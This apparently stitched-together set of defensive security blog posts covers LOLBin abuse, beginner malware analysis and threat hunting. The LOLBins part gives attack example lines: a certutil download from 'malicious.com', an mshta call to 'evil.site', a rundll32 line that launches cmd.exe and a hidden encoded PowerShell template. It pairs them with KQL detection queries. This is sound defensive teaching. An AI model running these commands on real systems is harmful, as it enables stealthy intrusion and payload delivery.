Modern adversaries don't always rely on custom malware to breach a network. Instead, they often use what's already available on the target system. This tactic is called Living off the Land (LotL), and the tools they use are legitimate binaries already present in the OS are known as LOLBins.

In this Depp-Dive blog, we’ll explore :

• What LOLBins are and why they matter

• How attackers use them in real-world campaigns

• Technical examples of abuse

• detection techniques and SIEM queries

• MITRE ATT&CK mappings

• Hardening strategies for defenders

What Are LOLBins?

LOLBins (Living off the Land Binaries) are legitimate executables or scripts, often part of Windows or installed software, that attackers can abuse to perform malicious actions without dropping traditional malware.

They’re used in fileless attacks, where no new binaries are written to disk, making them extremely difficult to detect using signature-based tools like antivirus or EDR.

Why Use LOLBins?

• Trust by the system — Not flagged by security tools due to their legitimacy

• Blends into normal activity — Execution looks like Normal admin tasks

• No binary dropped to disk — Leaves fewer artifacts, making forensic investigation harder

• Available across systems — Most binaries exist across all Windows environments

Real-World Examples of LOLBin Usage

Case: FIN7 Abuse of mshta.exe

FIN7, a well-known financially motivated group, has been observed using mshta.exe to download and execute remote malicious HTA payloads that launch PowerShell scripts to establish persistence and C2 communication.

This technique bypasses application whitelisting and avoids dropping new binaries.

Commonly Abused LOLBins and Deep Technical Examples

Certuil.exe

• Purpose: Certificate utility

• Location: c:\windows\system32\certutil.exe

• MITRE Tactic: T1105 — Ingress Tool Transfer

Abused For:

• Downloading Payloads

• Encoding/Decoding files

Examples: certutil.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe

Detection:

• Monitor network connections initiated by certutil

• Look for certutil writing .exe, .ps1, or .bat files

• Flag: When it appears outside certificate-related use cases

mshta.exe

• Purpose: Executes HTML Applications(.hta)

• MITRE Technique: T1218.005 — Signed Binary Proxy Execution: Mshta

Abuse for:

• Executing remote JavaScript/VBScript

• Bypassing Application Whitelisting

Example: mshta.exe “http://evil.site/malicious.hta"

Detection:

• Alert on mshta reaching out to external URLs

• Rarely used in Modern environments, any execution may be suspicious

• Correlate parent processes (e.g., spawned by Word or Excel)

rundll32.exe

• Purpose: Runs functions exported from DLLs

• MITRE Technique: T1218.011 — Rundll32

Abuse for:

• Code execution via DLL side-loading or COM objects

• Running shellcode or scripts through DLL proxying

Example:

rundll32.exe javascript:”..\mshtml,RunHTMLApplication”;eval(“new ActiveXObject(‘WScript.Shell’).Run(‘cmd.exe’)”)

Detection:

• Flag rundll32 spawning Powershell or CMD

• Look for DLLs loaded from user directories, temp folders

Powershell.exe/pwsh.exe:

• Purpose: Command line shell and scripting language

• MITRE Technique: T1059.001 — PowerShell, T1086 — Obfuscated Files or Information

Abuse for:

• Downloading and executing payloads

• In-memory execution (fileless Malware)

• Obfuscated command execution

Example: powershell.exe -nop -w hidden -enc <base64_string>

Detection:

• PowerShell running encoded (-enc) or obfuscated commands

• Logs: Event ID 4104 (Script Block Logging), 4688 (Process Creation)

Behavioural Hunting Tips

• WINWORD.EXE spawning Powershell.exe

• Explorer.exe spawning Certutil.exe

• LOLBins spawned by Office macros or scripts

Time-of-Day Analysis

• LOLBins executed during non-business hours

• Executions outside patch/update cycles

Execution Context

• Monitor LOLBins being executed from:

1- Temp folders

2- User profile directories

3- Non-admin processes

Sample SIEM Queries

Here are sample detection rules for Microsoft Sentinel / Kusto Query Language (KQL):

1. Detect certutil.exe downloading files:

DeviceProcessEvents
| where FileName == “certutil.exe”
| where ProcessCommandLine contains “http”

2. Detect mshta.exe from unknown sources:

DeviceProcessEvents
| where FileName == “mshta.exe”
| where ProcessCommandLine contains “http” or ProcessCommandLine contains “script”

3. Detect encoded PowerShell:

DeviceProcessEvents
| where FileName in (“powershell.exe”, “pwsh.exe”)
| where ProcessCommandLine contains “-enc” or ProcessCommandLine contains “FromBase64String”

Hardening Against LOLBins

1. Use Application Control

• AppLocker or Windows Defender Application Control (WDAC) to block unused system binaries

2. PowerShell Constrained Mode

• Force PowerShell into Constrained Language Mode for non-admin users

3. Disable Unused LOLBins

• Rename or restrict access to tools like mshta.exe, certutil.exe, wmic.exe if not needed

4. Enable Logging

• Sysmon, PowerShell logging (Module & ScriptBlock), Audit Process Creation (Event ID 4688)

5. Build Threat Hunt Use Cases

• Regularly run playbooks to search for LOLBin abuse patterns

Final Thoughts

LOLBins are not vulnerabilities, they’re features. But when abused by attackers, they become stealthy, powerful weapons that are hard to detect.

As defenders and threat hunters, our goal should be to:

• Know which LOLBins exist in our environment

• Monitor their behaviour

• Build baselines and alert on anomalies

• Educate teams about their risk

Fileless threats aren’t coming — they’re already here. Understanding LOLBins is your first step toward better defence.

But here’s the good news: You don’t need to be a reverse engineering guru to start understanding how malware works. With the right approach, tools, and mindset, anyone in the cybersecurity field can start learning the basics of malware analysis.

In this blog, I’ll break down a beginner-friendly guide to analysing suspicious files even if you’re just getting started in Threat Hunting, Incident Response, or SOC operations.

What is Malware Analysis?

Malware Analysis is the process of examining malicious software to:

• Understand how it works

• Identify its behaviour

• Detect indicators of compromise (IOCs)

• Develop strategies for prevention and response

It’s like being a digital detective, breaking down how attackers design their tools and spotting hidden dangers before they spread.

Types of Malware Analysis

There are two main approaches to analysing malware:

1 Static Analysis — Examining the file without running it

• You look at the file structure, strings, and metadata

• It’s safer and quicker for basic insights

• Great for identifying simple malware traits

2 Dynamic Analysis — Observing behaviour by executing the file in a controlled environment (sandbox)

• You watch how the malware behaves: processes, network activity, file changes

• Helps uncover hidden or obfuscated behaviour

• Requires strict isolation to avoid infecting your system

As a beginner, it’s smart to start with static analysis, then move to dynamic techniques once you're confident.

Basic Static Malware Analysis: Step-by-Step

Let’s say you’ve been handed a suspicious .exe file during a security investigation. Here’s how you can safely start analysing it:

Step 1: Check the File Hashes

Always generate cryptographic hashes (MD5, SHA256) for identification.

Example tools:

certutil -hashfile malware.exe SHA256

VirusTotal

By uploading a file to VirusTotal and cross-referencing it with a list of detections from various antivirus programs, the analyst will discover whether the sample is malicious or not. This process also provides information regarding the file, such as SHA256, MD5, file size, signature info, section details, imports, etc.

This helps you:

• Compare against known malware databases

• Share samples securely with your team

• Maintain integrity during analysis

Step 2: Inspect the Strings

Extracting readable text from the binary often reveals valuable clues.

Example: strings malware.exe

String analysis is the process of extracting readable ASCII and Unicode characters from the binary. Not all the strings found are used by the program; attackers may also include fake strings to disrupt the investigation

Tools used for string analysis:

• Strings2 – command-line utility, Windows 32bit/64bit executable, is used for extracting strings from binary data. This application is an improved version of the classic Sysinternals strings approach and can also dump strings from process address spaces. At the time of writing, Strings2 could be downloaded from the following link: https://github.com/glmcdona/strings2

• Flare-Floss (obfuscated string solver) - combines and automates different techniques to perform string decoding. At the time of writing, the Floss tool could be downloaded from the following link: https://github.com/fireeye/flare-floss

Step 3: Review Metadata

Tools like PEStudio or Detect It Easy (DIE) can reveal:

• Compiler information

• File type and structure

• Suspicious sections within the binary

Sometimes malware authors forget to clean up metadata, exposing their development environment or tactics.

PEStudio

PEiD Tool

Dynamic Malware Analysis Basics

Unlike static malware analysis, dynamic malware analysis is conducted by analysing the code while it is running. To study the behaviour of the executable, running it inside a virtual lab environment is recommended. To understand the functionality of the malware and prevent it from spreading, reverse engineers use debuggers when performing advanced dynamic malware analysis

What to monitor:

• New processes spawned

• Registry modifications

• Network connections established

• File system changes

Tools to help:

• Procmon — Tracks system activity

• Wireshark — Captures network traffic

• Process Explorer — Monitors running processes

Important: Never run malware on your main system. Use a dedicated, snapshot-enabled VM disconnected from your production network.

Indicators to Watch During Analysis

Whether static or dynamic, look out for these signs:

• Suspicious outbound connections

• Creation of hidden files or directories

• Attempts to disable security tools

• Persistence mechanisms (autorun entries)

Document all findings; they’ll be critical for creating detection rules, updating threat intelligence, or informing incident response actions.

Final Thoughts

Malware analysis might sound intimidating at first, but breaking it down into small, manageable steps makes it approachable for anyone.

Start small:

• Practice static analysis on harmless files

• Build a safe lab for observing real malware samples

• Stay curious — every sample tells a story

Let’s Connect

www.linkedin.com/in/ravi-sharma-17472316b

https://github.com/ravi160/ravi160

That’s why Threat Hunting has become such an essential skill for cybersecurity professionals. It’s not about waiting for alerts, it’s about actively searching for hidden threats in your environment before they cause damage.

In this blog, I’ll share five practical techniques that I use for threat hunting. Whether you’re new to cybersecurity or already working in SOC, Incident Response, or Malware Analysis, these tips will help sharpen your detection game.

What is Threat Hunting?

Before diving in, let’s clear this up: Threat Hunting is the process of proactively searching for signs of malicious activity that your existing security tools might have missed. It’s part investigation, part research, and part intuition.

Think of it like being a detective in your network, following digital footprints, connecting the dots, and uncovering suspicious behaviours before they escalate

1. Watch How Processes Are Created:

Attackers love exploiting how processes run in a system. Malicious programs often disguise themselves by masquerading as legitimate applications. Looks strange, right? Does Microsoft Word start a command prompt that then launches PowerShell? Classic sign of a macro-based attack or exploitation attempt.

As a threat hunter, you should always monitor process creation events, paying close attention to:

• cmd.exe launching PowerShell

• powershell.exe executing encoded commands

• Suspicious parent-child relationships

• Unexpected command-line arguments

• Processes executing from unusual directories

  The more you understand normal process behaviour in your environment, the easier it becomes to spot the anomalies.

Example:
WINWORD.EXE → CMD.EXE → PowerShell It is suspicious and is often seen in malware delivery.

Hunting Tip:

Use tools like Sysmon, EDR solutions, or your SIEM (e.g., QRadar, Sentinel) to track process creation events

2. Monitor Registry Changes:

The Windows Registry is often targeted by attackers for persistence, meaning they change registry keys so their malware runs every time the system boots up.

Here’s a common trick:
Malware might add itself to:

• Run and RunOnce keys for autoruns

• Changes under HKLM\Software\Microsoft\Windows\CurrentVersion

This ensures it silently runs in the background every time a user logs in.

As a threat hunter, keep an eye on registry modifications, especially:

• Autorun keys

• Registry entries pointing to unknown executables

• Obfuscated or base64-encoded registry values

It might seem basic, but many advanced attacks rely on these small, overlooked changes to stay hidden.

Tip: Investigate unknown or base64-encoded registry values.

3. Hunt for LOLBins (Living off the Land Binaries):

One of the smartest tactics attackers use today is turning your system tools against you. It’s called Living off the Land, abusing legitimate Windows binaries (LOLBins) to carry out attacks without raising suspicion.

Examples include:

• certutil.exe — used for downloading malicious payloads

• mshta.exe — executing harmful scripts

• rundll32.exe — Loading malicious DLL files

Why do attackers love LOLBins? Because they’re trusted by the system, often whitelisted by security tools, and blend right in with normal activity.

Your job is to spot when these tools are behaving abnormally, like being launched from strange directories or with suspicious parameters.

4. Analyse PowerShell Activity:

PowerShell is incredibly powerful — and unfortunately, a favourite for attackers too. With a single encoded command, they can download malware, run scripts, or gain unauthorised access.

If you’re hunting threats, pay close attention to:

• Commands using -enc or -EncodedCommand

• Scripts that download files via Invoke-WebRequest or IEX

• Obfuscated or base64-encoded payloads

For instance, this PowerShell command should raise an eyebrow:

powershell.exe -enc <very long, suspicious encoded string>

Make sure you have PowerShell logging enabled and actively review command line activity. It’s one of the easiest ways to catch stealthy attacks early.

5. Track Suspicious Network Connections:

At some point, most attacks involve communication with the outside world, whether it’s downloading additional payloads or exfiltrating stolen data.

That’s why monitoring outbound connections is critical.

Look for:

• Unusual destinations — rare countries or geographies

• Connections to non-standard ports (like 4444 or 1337)

• Traffic to known malicious IPs or domains

Combining network monitoring with threat intelligence feeds helps identify suspicious connections before they lead to bigger problems.

Final Thoughts:

Threat hunting isn’t about relying on tools alone; it’s about curiosity, critical thinking, and understanding how attackers operate.

These five techniques, process monitoring, registry hunting, LOLBin detection, PowerShell analysis, and network tracking, form a strong foundation for any threat hunting effort.

Even if you’re just starting in cybersecurity, practising these skills can set you apart and prepare you for real-world challenges.

Stay tuned for my upcoming blogs where I’ll share hands-on examples, real incident case studies, and tips to level up your cybersecurity knowledge.

Thanks for reading, and remember, always hunt before they hit.